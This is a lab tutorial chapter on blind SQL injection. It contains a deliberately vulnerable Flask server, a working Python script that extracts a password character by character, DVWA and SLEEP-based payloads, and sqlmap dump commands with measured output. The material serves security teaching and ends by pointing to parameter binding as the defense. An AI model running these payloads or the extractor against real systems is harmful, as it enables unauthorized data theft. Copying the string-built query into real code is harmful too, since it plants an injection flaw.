Step 137. Blind SQLi & sqlmap — Extracting Even When Nothing Shows
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3.5 hours
Prerequisites: Step 104’s Blind extraction simulator, and Step 135–136’s SQL injection basics and UNION extraction.
- What you need: Python 3 + Flask + requests, DVWA (if it has the SQLi Blind menu), sqlmap (optional).
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Caution: sqlmap isn’t available in this writing environment, so it appears as output examples. Instead, the principle of Blind extraction — pulling 32 characters one at a time from true/false response differences — is proven with measured results from 954 real HTTP requests against a local server.
Step 136’s UNION is a technique for when output appears on screen. But a well-built(?) vulnerable service doesn’t show you results — it returns just two sentences: "exists / missing." Is it over when there’s no output? No. The difference between true and false is information too. Today you’ll actually run Blind SQLi against a local server, extracting an entire password with that single bit of signal, and wrap up with the role of sqlmap, the automation tool that does the tedious repetition for you.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the oracle (true/false answering device) principle of Boolean-based Blind SQLi
- Write the two test payloads that confirm a true/false response difference
- Write and run a script that extracts one character at a time with LIKE prefix matching
- Explain the situations where time-based Blind (SLEEP) is needed
- Read the meaning of each sqlmap option (-u, –cookie, –dbs, –dump)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask (oracle server) + requests.Session (extractor), DVWA & sqlmap (output examples) |
| Today’s payloads/code | ' AND '1'='1 / ' AND '1'='2 (oracle test), admin' AND password LIKE 'W%, sqlmap -u --cookie --dbs --tables --dump |
| Concepts needed | Boolean-based / time-based Blind, charset iteration, request-count math, the LIKE wildcard trap |
| Today’s artifact | lab137.py (oracle server) + blind_extract137.py (extractor) + an extraction record |
2-1. The Oracle — A Server with Only Two Answers
That device you met in Step 104. Some inputs get "exists," others get "MISSING" — if a server’s answers come in exactly two kinds, it’s a machine that answers true/false questions (an oracle). Blind SQLi assembles information by asking this machine yes/no questions like "Does the password’s first character start with W?"
The key insight: the server hid the results, but it couldn’t hide the evaluation result of the condition. If the query returns even one row, it’s "exists"; otherwise "MISSING" — whether my planted condition is true is laid bare.
2-2. How to Ask One Character at a Time
admin' AND password LIKE 'W%
If this input is true ("exists"), you’ve learned "admin’s password starts with W." You iterate the charset (uppercase + lowercase + digits, 62 characters) asking until you get true, then append the confirmed character and ask about the next position. 32 characters × worst case 62 = up to 1,984 requests. By hand it’s impossible — the script is the weapon.
2-3. time-based — When Even True/False Doesn’t Show
Some servers return the same page whether it’s true or false. Then you attach time to the condition.
-- MySQL output example: sleeps 5 seconds if true
admin' AND IF(password LIKE 'W%', SLEEP(5), 0)--
If the response arrives 5 seconds late, it’s true; if it comes immediately, false. Instead of the screen, time becomes the oracle. Stealthier but slower — tens of seconds per character. Today you’ll learn the concept only; the hands-on work focuses on the Boolean approach.
2-4. sqlmap — A Machine That Throws Hundreds of Requests for You
Once you’ve felt the principle by hand, the value of automation becomes visible. sqlmap is a dedicated SQL injection tool that automatically performs everything from detection to DB enumeration to dumping. Targets that require login need a cookie passed along (Step 134’s ID card!), and forms with random tokens need extra options — tools only work properly in the hands of someone who knows the principle.
3. Follow Along
3-1. Preparing the Oracle Server
lab137.py (educational vulnerable code — never deploy it anywhere):
import sqlite3
from flask import Flask, request
app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
("admin", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"),
("alice", "wonderland"),
])
CONN.execute("PRAGMA case_sensitive_like = ON") # equivalent to MySQL's LIKE BINARY
@app.route("/check")
def check():
"""Vulnerable endpoint that answers only existence, never showing results."""
u = request.args.get("u", "")
sql = f"SELECT * FROM users WHERE username = '{u}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception:
rows = []
return ("User ID exists in the database." if rows
else "User ID is MISSING from the database.")
if __name__ == "__main__":
app.run(port=5137)
python lab137.py
Same structure as DVWA’s "SQL Injection (Blind)" menu — you submit input and only the user’s existence comes back (the DVWA screen is an output example: User ID exists in the database.).
3-2. Testing the Oracle — Finding the True/False Boundary
Before extracting, confirm this server really answers in two ways.
import requests
BASE = "http://127.0.0.1:5137/check"
S = requests.Session()
def oracle(payload):
r = S.get(BASE, params={"u": payload})
return "exists" in r.text
print("True test:", oracle("admin' AND '1'='1")) # expect True
print("False test:", oracle("admin' AND '1'='2")) # expect False
Output (measured 2026-09-09):
True test: True
False test: False
How to read it: plant '1'='1 and you get exists; plant '1'='2 and you get MISSING — my condition’s truth value decides the response. Oracle secured. When confirming by hand in DVWA, this is the step where you compare ' AND 1=1 # (normal output) vs ' AND 1=2 # (empty result) in the input box.
One thing to watch: this server fortunately splits on exists, but many servers have a positive word inside a negative sentence, like Natas’s "This user doesn’t exist." On those, judging with "exists" in response flips false into true. In the field, the textbook approach is to check for the negative sentence first, or compare both responses in full to find where they diverge (Step 104, Wall 4 review).
3-3. Writing the Extractor — 32 Characters, One at a Time
blind_extract137.py:
import requests
import string
BASE = "http://127.0.0.1:5137/check"
S = requests.Session()
def oracle(payload):
return "exists" in S.get(BASE, params={"u": payload}).text
# Caution: never put % or _ in the charset — they're LIKE wildcards and always true!
charset = string.ascii_letters + string.digits
known = ""
queries = 0
while True:
found = False
for ch in charset:
queries += 1
if oracle(f"admin' AND password LIKE '{known}{ch}%"):
known += ch
found = True
print(f"Confirmed: {known} (cumulative requests: {queries})")
break
if not found:
break
print("Final extraction result:", known)
print("Total requests:", queries)
Output (measured 2026-09-09, beginning and end):
True test: True
False test: False
Confirmed: W (cumulative requests: 51)
Confirmed: Wa (cumulative requests: 52)
Confirmed: WaI (cumulative requests: 87)
...(omitted)...
Confirmed: WaIHEacj63wnNIBROHeqi3p9t0m5nhm (cumulative requests: 884)
Confirmed: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh (cumulative requests: 892)
Final extraction result: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Total requests: 954
How to read it: finding just the first character W took 51 requests (because uppercase W is the 51st candidate in the charset). The result matches the password planted in the server exactly. The server never once showed the password, yet all of it leaked through 954 yes/no answers.
Why: this is the rebuttal to the illusion that "no output means safe." What the defender hid was the results; the byproducts of condition evaluation (response wording, response time) still carry information. That’s why Blind isn’t "an injection that doesn’t appear on screen" — it’s "an injection that comes out through a different channel."
3-4. A Manual Taste (DVWA, Output Example)
If you have DVWA, feel the oracle by hand without a script. In the SQLi (Blind) menu’s input box:
1' AND 1=1 # → User ID exists ... (true)
1' AND 1=2 # → User ID is MISSING ... (false)
1' AND SUBSTRING(database(),1,1)='d' # → true if the DB name's first letter is d
The third one is the seed of extraction — a yes/no question: "Is the DB name’s first letter d?" If a human repeats this question 62 characters × number of letters, a day goes by; a script does it in minutes (per the 3-3 measurement).
3-5. Automating with sqlmap (Output Example)
Now that you’ve experienced the principle, let’s see how to hand it to a machine. DVWA requires login, so you pass the cookie along (Step 134 review — the cookie is your ID card).
sqlmap -u "http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session_value" --dbs
Output example (may vary by version):
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
available databases [2]:
[*] dvwa
[*] information_schema
Next, --tables -D dvwa gets the table list, and --dump -T users -D dvwa proceeds to the dump. Add --proxy=http://127.0.0.1:8080 and you can watch the hundreds of requests sqlmap sends in Burp — you’ll see the machine running the very loop you just wrote by hand.
How to read it: compare what sqlmap did automatically against 3-3. Finding the true/false criterion (3-2), charset iteration (3-3), and the order of DB list → table list → dump (identical to Step 136’s three phases). The tool’s output shouldn’t feel unfamiliar.
3-6. Checking Where It Breaks — Situations Tools Can’t Handle
What happens if you don’t give sqlmap the cookie? It bounces to the login page, every request receives the same "login screen," and the tool concludes "not injectable." The tool doesn’t explain why the cookie is needed — only you, having been through Step 134, know. On custom apps (responses in JSON, ambiguous true/false criteria, tokens changing per request), you eventually return to a self-written script like 3-3’s. This is why you go through manual reasoning at least once.
4. Missions & Exercises
Mission — Completing the Blind Extractor and Comparing with the Tool
- Complete
lab137.pyandblind_extract137.py, extract the 32-character password, and record the total request count. - Add elapsed time to the extractor beyond the progress display, and compute "average time per character."
- (Optional) Change the password to a short value like
'X7k'and observe how the request count shrinks. - If DVWA + sqlmap is available, run up to
--dbsand capture the "boolean-based blind" verdict line in sqlmap’s log. - In your wiki,
blind-summary.md— organize the oracle’s definition, the pair of true/false test payloads, the request-count math, and a table of sqlmap options.
Exercises
Exercise 1. In Blind SQLi, what is it that the server "hid but couldn’t hide"? Explain why it becomes information.
Exercise 2. What happens if you put % or _ in the extraction charset? Explain using the phenomenon observed in the measurement.
Exercise 3. With a 32-character password and a 62-character charset, compute the maximum request count, and explain why the 3-3 measurement (954) came out slightly under half of that.
Exercise 4. Using Step 134’s concepts, explain when sqlmap’s --cookie option is needed and what happens if you omit it.
5. Model Answers & Completion Criteria
Mission Model Answer
How to verify: ① does the extraction result match the password planted in the server to the letter (per the 2026-09-09 measurement: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh, 954 requests)? ② did the two true/false test payloads each induce exists/MISSING? ③ in the short-password experiment, did the request count shrink in proportion to length? ④ does the summary document contain the sentence "even without screen output, information leaks through true/false and timing differences"?
Exercise Answers
Answer 1. The result of condition evaluation. When you plant AND condition, a row is returned only when that condition is true, and the server reveals the row’s existence through "exists/MISSING" or response time. The content of the result is hidden, but the result’s existence is exactly my condition’s truth value — so it becomes the answer to a yes/no question, assembling information one character at a time.
Answer 2. % and _ are LIKE wildcards ("any string" and "any single character" respectively), so they’re always true even for characters not in the password. In the writing environment’s measurement, after special characters were mixed into the charset, % kept getting "confirmed" even after the whole password was found and the loop never ended — thousands of extra requests went out, even producing a port-exhaustion error (WinError 10048). Remove wildcards or escape them.
Answer 3. Worst case is 32 × 62 = 1,984. The measured 954 is about 30 per character — when sweeping a 62-character charset in order, the expected value is roughly half (31), so it makes sense. One extra pass (62 requests) is spent at the end confirming "no more true answers."
Answer 4. Login-gated sites like DVWA redirect every request without a valid session cookie to the login page. sqlmap isn’t a browser, so it doesn’t hold cookies automatically — you must hand it the ID card directly with --cookie to reach the vulnerable page. Omit it, and the tool injects against the login screen and reaches the wrong conclusion: "not injectable."
Completion Criteria Checklist
- [ ] I can state in one sentence what an oracle (true/false answering device) is
- [ ] I can test an oracle with the
' AND '1'='1/' AND '1'='2pair - [ ] I wrote a LIKE prefix extraction loop myself and pulled out 32 characters
- [ ] I can explain the LIKE wildcard (
%,_) trap - [ ] I can describe when time-based Blind is needed (when even screen differences are absent)
- [ ] I can read sqlmap’s
-u --cookie --dbs --dumpoptions - [ ] Mission: I completed the extractor and wrote the request-count record document
6. Common Pitfalls & Fixes
Wall 1. Extraction never ends and % keeps appending forever
Symptom (writing-environment measurement): even after the whole password is found, "Confirmed: …%%%%…" continues until a connection error finally hits:
requests.exceptions.ConnectionError: ... [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
Cause: you put the LIKE wildcard % in the charset. It’s true for any prefix, so the loop never ends, and the runaway requests exhausted Windows’ ephemeral ports.
Fix: remove % and _ from the charset (use the ESCAPE clause if you need special characters). If ports are already exhausted, wait a minute or two and rerun — that’s the time for TIME_WAIT sockets to clear.
Wall 2. The extraction comes out all lowercase
Symptom: the real value is WaIH... but it extracts as waih....
Cause: the DB’s LIKE is case-insensitive (SQLite’s default, and MySQL’s default collation likewise).
Fix: use PRAGMA case_sensitive_like = ON on SQLite, LIKE BINARY on MySQL (exactly as learned in Step 104). Mandatory for passwords mixing upper and lower case.
Wall 3. True gets judged false, false gets judged true
Symptom: the wrong character gets confirmed from the very first letter, or nothing gets confirmed at all.
Cause: the discrimination string is contained in both responses — e.g., "exists" is also a substring of "doesn't exist".
Fix: discriminate with a longer phrase, or check for the negative sentence (MISSING) first. When in doubt, the textbook move is to print both responses in full and eyeball the difference first.
Wall 4. sqlmap says "not injectable"
Symptom: the page is clearly vulnerable, but the tool can’t find it.
Top cause: missing cookie — it was injecting against the login screen. Second: the true/false difference in responses is too subtle for automatic discrimination.
Fix: copy the entire Cookie: header from the browser’s developer tools into --cookie. If that still fails, raise --level/--risk, or return to the 3-3 self-written extractor. Tool failure is a signal to return to principle.
Wall 5. Requests get slower and slower
Symptom: extraction that started fast slows dramatically from a few hundred requests in.
Cause: a new TCP connection opens and closes per request, draining the OS’s ephemeral ports.
Fix: reuse connections with requests.Session(), and if needed insert a very short time.sleep between requests. In the field, this "slowdown" itself is also a detection signal for defenders — Blind is a noisy attack.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Blind SQLi | Injection that extracts one character at a time via true/false signals instead of output |
| Oracle | A server reaction that answers my condition’s truth value (existence wording, response time) |
| Boolean-based | The approach that uses differences in page wording as the oracle |
| time-based | The approach that uses response time via SLEEP as the oracle — stealthiest and slowest |
| Charset iteration | The extraction loop that asks about 62 characters in turn — measured 954 requests for 32 chars |
| sqlmap | A tool automating detect → enumerate → dump — passing the cookie is the crux |
Today’s Commands & Payloads
| Command/payload | What it does |
|---|---|
' AND '1'='1 / ' AND '1'='2 |
Oracle test (confirm the true/false boundary) |
admin' AND password LIKE 'W% |
First-character question — true confirms W |
PRAGMA case_sensitive_like = ON / LIKE BINARY |
Force case sensitivity |
requests.Session() |
Reuse connections across hundreds of requests |
sqlmap -u "URL" --cookie="..." --dbs |
Automatic detection + DB list |
sqlmap ... --tables -D dvwa / --dump -T users -D dvwa |
Table list / final dump |
An Instinct More Important Than Commands
Blind SQLi’s lesson goes beyond attack technique — information doesn’t leak only when printed on screen. The presence of response wording, response time, even the kind of error — all of it is signal. The eye that sees the gap between what a defender believes is hidden and what actually is hidden — that is today’s harvest. And the way to make 954 requests meaningless remains, as ever, a single line — parameter binding. The more refined the attack grows, the clearer the simplicity of the defense becomes.
Once every box is checked, Step 137 is complete. Click the checkbox in the sidebar to save your progress.